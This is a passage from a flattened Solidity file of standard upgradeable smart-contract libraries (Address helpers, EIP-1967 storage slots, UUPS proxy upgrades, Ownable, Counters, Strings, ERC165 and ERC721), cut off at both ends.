return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
